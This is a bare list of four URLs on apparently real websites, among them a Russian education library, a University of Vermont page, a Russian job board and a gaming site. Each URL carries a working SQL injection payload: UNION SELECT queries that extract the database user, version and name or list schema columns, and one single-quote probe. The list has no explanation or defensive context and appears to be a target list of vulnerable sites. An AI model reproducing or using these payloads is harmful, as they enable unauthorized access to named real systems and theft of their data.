http://edu.direktor.ru/lib/author.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),version()  ,database()),4,5,6/*

http://stumpage.uvm.edu/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12 +from+information_schema.columns/*/

http://5ballov.ru/vacansy.php?city=Москва&salary_min=9999+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,  11,12,13,14,15,16,17,18,19,20/*&schedule=свободный&sort=salary_min

http://www.gameland.ru/articles2/catalog/game.asp?code=1'